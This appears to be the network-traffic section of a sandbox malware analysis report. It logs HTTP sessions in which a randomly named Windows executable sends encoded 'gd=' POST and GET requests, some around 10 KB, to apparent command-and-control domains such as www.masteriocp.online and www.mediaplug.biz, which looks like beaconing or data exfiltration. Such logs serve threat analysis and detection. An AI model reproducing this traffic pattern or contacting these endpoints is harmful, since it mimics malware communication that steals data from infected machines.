<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49740	18.139.62.226	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:33.677061081 CEST	10889	OUT	POST /p5rq/ HTTP/1.1 Host: www.masteriocp.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.masteriocp.online Referer: http://www.masteriocp.online/p5rq/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 63 77 46 53 49 69 43 6d 4f 47 62 4e 48 54 2b 6d 6b 53 4f 61 46 33 49 32 6b 4c 70 74 70 45 35 76 38 72 32 6f 48 6c 33 6b 6f 48 74 33 76 73 6f 74 77 5a 61 61 2f 78 4a 79 74 41 52 43 76 72 49 36 7a 48 4f 36 4d 50 4c 6a 54 63 31 6e 7a 36 69 2f 59 63 6f 35 44 47 30 59 50 43 46 34 45 50 64 72 76 39 68 37 6d 48 59 33 4f 45 6c 32 48 37 65 54 6e 74 42 71 69 6c 53 6b 79 31 46 6a 37 4a 2b 79 73 5a 7a 6f 54 74 45 30 66 38 52 38 61 59 57 6e 39 59 2b 42 58 38 73 33 77 4d 30 43 4f 6c 36 46 32 78 4a 79 34 75 4e 36 5a 37 6d 58 31 7a 37 74 69 68 68 68 79 43 6c 6f 68 77 6b 61 6f 6f 6a 57 79 30 38 49 44 51 4b 74 35 4f 71 75 37 35 71 59 74 35 39 59 4f 58 77 33 30 65 41 41 72 74 77 64 35 58 62 63 7a 47 74 6f 77 32 74 43 61 42 77 34 68 75 46 41 69 37 59 74 64 61 6a 4a 71 55 68 38 4c 4e 6c 6a 75 62 72 37 6a 47 36 38 46 70 70 34 49 6a 43 55 5a 6a 79 30 73 35 44 53 68 64 6d 44 5a 75 78 6f 6c 4e 79 63 57 74 33 6c 44 58 61 37 78 45 41 37 48 4c 38 41 51 52 34 4d 46 41 39 7a 39 43 6b 69 67 53 68 36 73 64 79 4c 30 68 64 [TRUNCATED] Data Ascii: gd=cwFSIiCmOGbNHT+mkSOaF3I2kLptpE5v8r2oHl3koHt3vsotwZaa/xJytARCvrI6zHO6MPLjTc1nz6i/Yco5DG0YPCF4EPdrv9h7mHY3OEl2H7eTntBqilSky1Fj7J+ysZzoTtE0f8R8aYWn9Y+BX8s3wM0COl6F2xJy4uN6Z7mX1z7tihhhyClohwkaoojWy08IDQKt5Oqu75qYt59YOXw30eAArtwd5XbczGtow2tCaBw4huFAi7YtdajJqUh8LNljubr7jG68Fpp4IjCUZjy0s5DShdmDZuxolNycWt3lDXa7xEA7HL8AQR4MFA9z9CkigSh6sdyL0hdLM2dWq8KiWCgfGaeuDMM9KICz408wRW3YaHDL7027gUs+Qa87Aax4bp4CyVrLY34wgyrR901lukpkHhRewEJBb55btdCuHI7UIrmDWzhHtx7Q0iXm+Bm16DjXCuP0n/g6meH0taHnd2gW+0H8G9TDGC/yi7R3Ltgs/EIy32+JJwAP9j230V+rseZyQiCYSlUGvu0rAETaDqk3G68UCanGpRkcQOf3dTnq7vAAIzb0tW91Bnsh/JC0/1OTRO80cXGkmXSoOIR+N+cebnDCpMCpbcj4ZLOVI4GCaU2KzSm+dr3ZIsL3okvouLJx7XsYeo0qacxXis2uOsj9ZJipoie/6YPG8TPXp5dk2xOwFZFV38/PxI07d6RwWiXFT4oXsXaY+WHK4yDfk+tdA6xZKcLI89F8rMrzN0PxHNW9CtPdPNRxK2nDJcfN15bxgeB9kCilrd+fJiIZe0SoeRfotaP/vyZK86z23KWrA5UhUYksrrdM9JD0ZGs4odBy3kTUSUXfU36arI8cwXhLchNA/X/4BcT3RvZUGfMQqNPsoiu3RSRAtxWoV6caoB1uF8/Dpf04lac0Q1dvIT0VzMMnCmUGEAav8Tp/l/0bN2r6cZ7o6iAuO1/SGtV3Hv5/8T3Q/3o2sjMpmJ4H0Lx7VUG7SbcFj7QkQv8qdVwKX [TRUNCATED]
Sep 14, 2024 11:11:34.569891930 CEST	368	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Sat, 14 Sep 2024 09:11:34 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.masteriocp.online/p5rq/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	18.139.62.226	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:36.221396923 CEST	515	OUT	GET /p5rq/?gd=RytyLV2sDE3KAjiSkyiXOnQjrJMqpEw2xv60Q0DZuFoqqvUh/Zvb/zR4+xNnv9lNk3zYZu+tANFIvcmMVMI5H28EY01DAN4ct7k9yl5pOX5UKp3K5dMEiwU=&a0=_6Edzvj0xtFLdH HTTP/1.1 Host: www.masteriocp.online Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Sep 14, 2024 11:11:37.124176979 CEST	510	IN	HTTP/1.1 301 Moved Permanently Server: openresty Date: Sat, 14 Sep 2024 09:11:36 GMT Content-Type: text/html Content-Length: 166 Connection: close Location: https://www.masteriocp.online/p5rq/?gd=RytyLV2sDE3KAjiSkyiXOnQjrJMqpEw2xv60Q0DZuFoqqvUh/Zvb/zR4+xNnv9lNk3zYZu+tANFIvcmMVMI5H28EY01DAN4ct7k9yl5pOX5UKp3K5dMEiwU=&a0=_6Edzvj0xtFLdH Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	66.81.203.10	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:42.404767036 CEST	775	OUT	POST /osde/ HTTP/1.1 Host: www.mediaplug.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 199 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.mediaplug.biz Referer: http://www.mediaplug.biz/osde/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 63 55 5a 74 32 7a 31 70 76 4d 61 79 73 72 49 58 4a 63 53 63 6b 68 56 48 75 4f 74 6e 34 44 77 38 33 36 4f 79 4a 38 70 5a 6e 39 65 57 7a 70 54 2f 65 35 41 39 78 6e 46 30 50 56 66 56 51 47 62 39 45 45 6c 49 50 66 6c 5a 5a 48 68 63 7a 34 4c 4c 35 63 70 62 49 47 47 63 45 69 6a 37 6b 41 46 46 52 49 55 32 76 43 33 48 77 6b 42 43 6d 38 72 6d 34 48 76 47 37 4e 2f 51 30 61 4d 68 67 38 62 30 72 6b 58 63 66 41 43 41 78 6c 61 4d 72 32 64 63 7a 54 5a 4b 37 72 46 47 64 6c 38 4f 51 35 66 6a 4f 48 69 61 74 5a 61 64 58 32 4a 2f 41 36 76 6f 55 4a 2b 38 4f 2f 62 50 43 68 32 2f 64 30 56 61 4b 51 3d 3d Data Ascii: gd=cUZt2z1pvMaysrIXJcSckhVHuOtn4Dw836OyJ8pZn9eWzpT/e5A9xnF0PVfVQGb9EElIPflZZHhcz4LL5cpbIGGcEij7kAFFRIU2vC3HwkBCm8rm4HvG7N/Q0aMhg8b0rkXcfACAxlaMr2dczTZK7rFGdl8OQ5fjOHiatZadX2J/A6voUJ+8O/bPCh2/d0VaKQ==
Sep 14, 2024 11:11:42.992011070 CEST	727	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.14.2 Date: Sat, 14 Sep 2024 09:11:42 GMT Content-Type: text/html Content-Length: 575 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.14.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49743	66.81.203.10	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:44.943120956 CEST	795	OUT	POST /osde/ HTTP/1.1 Host: www.mediaplug.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 219 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.mediaplug.biz Referer: http://www.mediaplug.biz/osde/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 63 55 5a 74 32 7a 31 70 76 4d 61 79 74 4c 59 58 50 37 75 63 31 52 56 41 6c 75 74 6e 78 6a 77 77 33 36 4b 79 4a 39 63 43 6e 4c 32 57 7a 4d 76 2f 4d 6f 41 39 79 6e 46 30 58 6c 66 55 50 57 62 32 45 45 6f 31 50 65 5a 5a 5a 48 64 63 7a 38 50 4c 34 76 42 45 49 57 47 53 49 43 6a 35 71 67 46 46 52 49 55 32 76 42 4b 69 77 6b 5a 43 6d 76 7a 6d 71 54 37 42 6c 64 2f 52 38 36 4d 68 6b 38 62 4b 72 6b 57 78 66 43 32 2b 78 6e 79 4d 72 79 52 63 77 43 5a 4a 67 37 46 49 54 46 38 51 63 38 36 63 57 46 7a 42 6b 4b 6d 45 65 6d 63 63 4d 63 2b 79 46 34 66 72 63 2f 2f 38 66 6d 2f 4c 51 33 6f 54 52 64 79 51 53 4a 42 7a 33 39 48 41 71 4e 50 68 5a 50 37 2b 64 65 34 3d Data Ascii: gd=cUZt2z1pvMaytLYXP7uc1RVAlutnxjww36KyJ9cCnL2WzMv/MoA9ynF0XlfUPWb2EEo1PeZZZHdcz8PL4vBEIWGSICj5qgFFRIU2vBKiwkZCmvzmqT7Bld/R86Mhk8bKrkWxfC2+xnyMryRcwCZJg7FITF8Qc86cWFzBkKmEemccMc+yF4frc//8fm/LQ3oTRdyQSJBz39HAqNPhZP7+de4=
Sep 14, 2024 11:11:45.517853022 CEST	727	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.14.2 Date: Sat, 14 Sep 2024 09:11:45 GMT Content-Type: text/html Content-Length: 575 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.14.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49744	66.81.203.10	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:47.491945982 CEST	10877	OUT	POST /osde/ HTTP/1.1 Host: www.mediaplug.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Connection: close Content-Length: 10299 Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Origin: http://www.mediaplug.biz Referer: http://www.mediaplug.biz/osde/ User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36 Data Raw: 67 64 3d 63 55 5a 74 32 7a 31 70 76 4d 61 79 74 4c 59 58 50 37 75 63 31 52 56 41 6c 75 74 6e 78 6a 77 77 33 36 4b 79 4a 39 63 43 6e 4c 2b 57 7a 36 37 2f 65 66 38 39 7a 6e 46 30 61 46 66 4a 50 57 62 72 45 48 59 78 50 65 55 73 5a 42 5a 63 68 4a 62 4c 78 2b 42 45 47 57 47 53 47 53 6a 34 6b 41 46 71 52 49 45 79 76 43 79 69 77 6b 5a 43 6d 74 48 6d 36 33 76 42 6e 64 2f 51 30 61 4d 74 67 38 61 6e 72 6b 4f 50 66 43 6a 4c 77 58 53 4d 71 57 39 63 32 77 78 4a 73 37 46 64 55 46 39 44 63 38 2b 39 57 46 2f 4e 6b 4c 53 2b 65 6b 41 63 63 62 58 4e 42 4a 58 6e 47 4f 48 42 50 56 72 2b 62 31 34 70 4a 75 43 49 62 4a 39 59 33 70 4f 6f 6c 73 69 72 42 39 6a 76 47 70 6c 50 51 58 4c 32 56 64 6c 44 4a 4b 6e 2f 64 34 2b 48 65 7a 48 79 73 52 59 34 6d 39 45 73 41 35 48 36 42 4d 77 56 77 79 5a 33 37 55 79 4c 48 49 36 43 57 57 49 58 32 6c 4b 50 64 76 7a 6e 44 76 32 6d 43 7a 4a 50 55 6d 61 76 66 46 38 6d 66 65 62 36 48 55 6a 6e 6c 6f 59 38 72 6e 48 44 57 6a 4e 65 34 71 57 44 52 57 39 55 4d 4d 65 74 61 51 56 74 66 64 4a 53 4c 4f 6a [TRUNCATED] Data Ascii: gd=cUZt2z1pvMaytLYXP7uc1RVAlutnxjww36KyJ9cCnL+Wz67/ef89znF0aFfJPWbrEHYxPeUsZBZchJbLx+BEGWGSGSj4kAFqRIEyvCyiwkZCmtHm63vBnd/Q0aMtg8anrkOPfCjLwXSMqW9c2wxJs7FdUF9Dc8+9WF/NkLS+ekAccbXNBJXnGOHBPVr+b14pJuCIbJ9Y3pOolsirB9jvGplPQXL2VdlDJKn/d4+HezHysRY4m9EsA5H6BMwVwyZ37UyLHI6CWWIX2lKPdvznDv2mCzJPUmavfF8mfeb6HUjnloY8rnHDWjNe4qWDRW9UMMetaQVtfdJSLOj/M0qRztPJYxXV2OWJWkh0LPDIx1H0rCkp9na9tURANE73XL4GuDDeHHUnfESM9DU8zPoiwO9PIAmGdgJABmYnJ5ZqDaZE6uCYUyQLzwHZZs6I4qGhzh76YeP/f4GwGYBCvVrMFZ7iNR+x/EIhUr7LIwAuFc/yYzc/UVGJ9Hekqu46ArEBb/7pr/1Cgx73550W/PLYMr5K5D6zCM3j3lXpxiQ//7BlO60xBATPZcF8YoXqinxIUg9kUNHUQpqYT5/8GLb7X6Lz5/RG8ZRLPxEr5RDWx9rgigSOOLjIb8YF/UJN17E6qgo0+KfGGng2edmioNA+aDxt6ip2tqo7LHimzoUDRoGk6SLjnDsQfmiRlhnKzVk8vtwydPBOe8xxcjJMflbvPvCrHYaZKfLJ1GPHOdruJkxobF8RyWhwNxs5oYq0eknBDqKvbb6nTAYNT/kfAC/iyOqfljJJuLlqRsOAlOreDQmSBb3XO48vJhcoxdCfj3gsUtPWC76xhLLdR7HXMoIfqSxk+tXcwlG4mmEk8GAEdOEjIICoflneChyp3QbgIKh4BJyv3uCDIIAGAxlpyQMPDn0euhw2D3Ou/dri/qhD/Vgc3KAzoMhDuIVJj2imSNlM9zbb+sGbzsI2ej3OmZRhZyjEgNz9JyuP1+0lggS1qgfITDmcc [TRUNCATED]
Sep 14, 2024 11:11:48.087112904 CEST	727	IN	HTTP/1.1 405 Not Allowed Server: nginx/1.14.2 Date: Sat, 14 Sep 2024 09:11:48 GMT Content-Type: text/html Content-Length: 575 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 [TRUNCATED] Data Ascii: <html><head><title>405 Not Allowed</title></head><body bgcolor="white"><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.14.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	66.81.203.10	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
Sep 14, 2024 11:11:50.040980101 CEST	511	OUT	GET /osde/?gd=RWxN1EBNqsrI97geHJKF+m1NqN4D5Qwm3eCTWsUjqsqAz5HjDo5OrFUtMmzwWkvzE1VCadoWcR1nh8rv/P1sJReZCD/pggQ9SZws5yKjtGx+wP+UoHuai7o=&a0=_6Edzvj0xtFLdH HTTP/1.1 Host: www.mediaplug.biz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US Connection: close User-Agent: Mozilla/5.0 (Linux; Android 5.0.1; SAMSUNG SCH-R970 USCC Build/LRX22C) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/2.1 Chrome/34.0.1847.76 Mobile Safari/537.36
Sep 14, 2024 11:11:50.612376928 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.14.2 Date: Sat, 14 Sep 2024 09:11:50 GMT Content-Type: text/html Content-Length: 1432 Last-Modified: Tue, 14 May 2024 12:20:23 GMT Connection: close ETag: "66435707-598" Accept-Ranges: bytes Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 20 20 20 20 68 74 6d 6c 2c 0d 0a 20 20 20 20 20 20 62 6f 64 79 2c 0d 0a 20 20 20 20 20 20 23 70 61 72 74 6e 65 72 2c 0d 0a 20 20 20 20 20 20 69 66 72 61 6d 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 6f 75 74 6c 69 6e 65 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 0d 0a 20 20 20 20 20 20 20 20 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 62 61 73 65 6c 69 6e 65 3b 0d [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta charset="utf-8"> <style type="text/css"> html, body, #partner, iframe { height: 100%; width: 100%; margin: 0; padding: 0; border: 0; outline: 0; font-size: 100%; vertical-align: baseline; background: transparent; } /body { overflow:hidden; }/ </style> <meta content="NOW" name="expires"> <meta content="index, follow, all" name="GOOGLEBOT"> <meta content="index, follow, all" name="robots"> ... Following Meta-Tag fixes scaling-issues on mobile devices --> <meta content="width=device-width; initial-scale=1.0; maximum-scale=1.0; user-scalable=0;" name="viewport"> </head> <body> <div style="text-align: center;"> <p>This domain is pending renewal or has expired. Please contact the domain provider with questions.</p></div> <div id="partner"></div> <script type="text/j
Sep 14, 2024 11:11:50.612507105 CEST	224	IN	Data Raw: 61 76 61 73 63 72 69 70 74 22 3e 0d 0a 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 0d 0a 20 20 20 20 20 20 20 20 27 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6c 61 6e 67 75 61 Data Ascii: avascript"> document.write( '<script type="text/javascript" language="JavaScript"' + 'src="//sedoparking.com/frmpark/' + window.location.host + '/' + 'Skenzor22' + '/park.j
Sep 14, 2024 11:11:50.612517118 CEST	206	IN	Data Raw: 73 3f 62 65 66 6f 72 65 42 6f 64 79 45 6e 64 48 54 4d 4c 3d 25 33 43 70 25 33 45 54 68 69 73 2b 64 6f 6d 61 69 6e 2b 69 73 2b 70 65 6e 64 69 6e 67 2b 72 65 6e 65 77 61 6c 2b 6f 72 2b 68 61 73 2b 65 78 70 69 72 65 64 2e 2b 50 6c 65 61 73 65 2b 63 Data Ascii: s?beforeBodyEndHTML=%3Cp%3EThis+domain+is+pending+renewal+or+has+expired.+Please+contact+the+domain+provider+with+questions.%3C%2Fp%3E">' + '<\/script>' ) </script> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49746	103.42.108.46	80	3272	C:\Program Files (x86)\sjLtPMjzgWJhBHiifztBWVjhIDgLZXCZgXmSMnQCayzZ\PrWIbKXhdqUKk.exe

Timestamp	Bytes transferred	Direction	Data
